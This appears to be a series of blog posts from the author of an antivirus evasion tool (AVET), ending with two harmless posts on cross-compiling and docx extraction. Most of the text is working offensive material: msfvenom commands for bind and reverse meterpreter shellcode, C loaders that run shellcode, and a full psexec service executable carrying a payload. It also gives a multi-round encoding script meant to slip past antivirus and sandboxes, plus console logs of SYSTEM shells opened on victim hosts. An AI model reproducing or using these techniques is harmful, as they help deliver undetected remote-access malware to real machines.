Using msf alpha_mixed encoder for antivirus evasion

For enhancing AVET I had a look at the alpha_mixed encoder from the metasploit project. An ASCII only shellcode can be produced that way:

# msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -e x86/alpha_mixed BufferRegister=EAX -f c

With the common technique of a shellcode binder (or function pointer) the shellcode can not be executed, because it is expected that the address of the shellcode can be found in the EAX register. For more information about that refer “Generating Alphanumeric Shellcode with Metasploit“.

The shellcode can be executed this way:

unsigned char buf[] = 

int main(int argc, char **argv)
	register unsigned char* r asm("eax");
	asm("call *%eax;");

The full example can be found here.

After starting the executable on the victim machine for the handler do:

msf exploit(handler) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(handler) > set rhost
rhost =>
msf exploit(handler) > run

[*] Started bind handler
[*] Starting the payload handler...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to
[*] Command shell session 1 opened ( -> at 2017-06-15 07:50:17 -0400

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Alle Rechte vorbehalten.


To my surprise the sample shown already worked for antivirus evasion. Of course this will be part of the new version of AVET that will be released end of July ’17.


Write your own metasploit psexec service

Lately I made some research about metasploit’s psexec module and how to write your own service executable. This will be integrated into AVET within the next weeks.
The PoC is simple (download:

// compile:
// wine gcc -m32  psexecservice.c

#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000
#define LOGFILE "C:\\status.txt"

SERVICE_STATUS ServiceStatus; 
void  ServiceMain(int argc, char** argv); 
void  ControlHandler(DWORD request); 
int InitService();

// some shellcode
//# msfvenom -p windows/meterpreter/bind_tcp lport=8443 -f c -a x86 --platform Windows
unsigned char buf[] = 

void exec_shellcode(unsigned char *shellcode)
  int (*funct)();
  funct = (int (*)()) shellcode;

int WriteToLog(char* str)
	FILE* log;
	log = fopen(LOGFILE, "a+");
	if (log == NULL)
		return -1;
	fprintf(log, "%s\n", str);
	return 0;

int main() 
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MemoryStatus";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    // Start the control dispatcher thread for our service
    return 0;

void ServiceMain(int argc, char** argv) 
    int error; 
    ServiceStatus.dwServiceType        = SERVICE_WIN32; 
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING; 
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0; 
    ServiceStatus.dwServiceSpecificExitCode = 0; 
    ServiceStatus.dwCheckPoint         = 0; 
    ServiceStatus.dwWaitHint           = 0; 
    hStatus = RegisterServiceCtrlHandler(
    if (hStatus == (SERVICE_STATUS_HANDLE)0) 
        // Registering Control Handler failed
    // Initialize Service 
    error = InitService(); 
    if (error) 
		// Initialization failed
        ServiceStatus.dwCurrentState       = SERVICE_STOPPED; 
        ServiceStatus.dwWin32ExitCode      = -1; 
        SetServiceStatus(hStatus, &ServiceStatus); 
    // We report the running status to SCM. 
    ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
    SetServiceStatus (hStatus, &ServiceStatus);
    WriteToLog("start shellcode\n");	
    WriteToLog("shellcode executed\n");	
    // The worker loop of a service
    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
		// do nothing

// Service initialization
int InitService() 
    int result;
    result = WriteToLog("start service");

// Control handler function
void ControlHandler(DWORD request) 
             //WriteToLog("Monitoring stopped.");

            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            WriteToLog("stop service");

            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
    // Report current status
    SetServiceStatus (hStatus,  &ServiceStatus);

Compile the code with:

wine gcc -m32 psexecservice.c

I use TDM GCC with wine:
The shellcode was produced with:

msfvenom -p windows/meterpreter/bind_tcp lport=8443 -f c -a x86 --platform Windows

To execute it with metasploit start msfconsole, then:

msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/avepoc/a.exe
EXE::custom => /root/tools/avepoc/a.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost
rhost =>
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run

[*] - Connecting to the server...
[*] Started bind handler
[*] - Authenticating to as user 'dax'...
[*] Sending stage (957487 bytes) to
[*] - Selecting native target
[*] - Uploading payload...
[*] - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] - Created \mzrCIOVg.exe...
[+] - Service started successfully...
[*] - Deleting \mzrCIOVg.exe...
[-] - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened ( -> at 2017-05-27 18:47:23 +0200

msf exploit(psexec) > sessions

Active sessions

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO -> (

msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Logged On Users : 2
Meterpreter : x86/windows

Related links:

AVET and unstaged payloads

There are several reasons for using unstaged payloads for meterpreter. Since the dlls are not loaded over the network, but are included in the executable file, this may reduce the chance for an IDS/IPS to detect the connection. The executable will be much bigger:

# ls -al pwn_unstaged.exe
-rwxr-xr-x 1 root root 1578548 May 6 11:05 pwn_unstaged.exe
# ls pwn_staged.exe -al
-rwxr-xr-x 1 root root 120884 May 6 11:33 pwn_staged.exe

For more information about unstaged meterpreter connections:
Here is the build script for the unstaged payload (name:

# simple example script for building the .exe file
# include script containing the compiler var $win32_compiler
# you can edit the compiler in build/
# or enter $win32_compiler="mycompiler" here
. build/
# make meterpreter unstaged reverse payload, encoded 20 rounds with shikata_ga_nai
msfvenom -p windows/meterpreter_reverse_https lhost= lport=443 extensions=stdapi,priv -e x86/shikata_ga_nai -i 20 -f c -a x86 --platform Windows > sc.txt
# call make_avet, the sandbox escape is due to the many rounds of decoding the shellcode
./make_avet -f sc.txt
# compile to pwn.exe file
$win32_compiler -o pwn.exe avet.c
# cleanup
echo "" > defs.h

And execution (on Windows 7, MS Defender):

Try the new payload and grab your copy of AVET (AntiVirus Evasion Tool):

Using TDM gcc with Kali 2

This is an article for usage with avet, my antivirus evasion tool you can find here:

I had some trouble using mingw cross compiler. It should work fine, so I suggest you try that first.

But if you want an alternative, here is how to use tdm for windows with wine in kali (2016.2).

First, download from:

Then install with wine:

# wine tdm64-gcc-5.1.0-2.exe

Then simply go through the gui installation:

After successful installation you can compile stuff for windows with:

wine gcc.exe mycode.c

Extract text and media content from docx

Here is a small bash script for extracting the text and media content from a docx file. Might be useful if you do not want to open the file with word. Works with cygwin, should work with linux.


Usage is pretty straight forward:

$ bash test.docx
* extracting media files to ./test.docx1484702626/media
Archive: test.docx
extracting: ./test.docx1484702626/word/media/image1.png
* ls ./test.docx1484702626/media
* extracting xml content
Archive: test.docx
inflating: ./test.docx1484702626/word/document.xml
* write xml to txt content to ./test.docx1484702626/document.txt
* cleanup
* done
$ cat ./test.docx1484702626/document.txt

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean rhoncus massa non elitrum dignissim. Nam libero purus, ultrices eu purus et, tempor tincidunt augue. [ … CUT … ]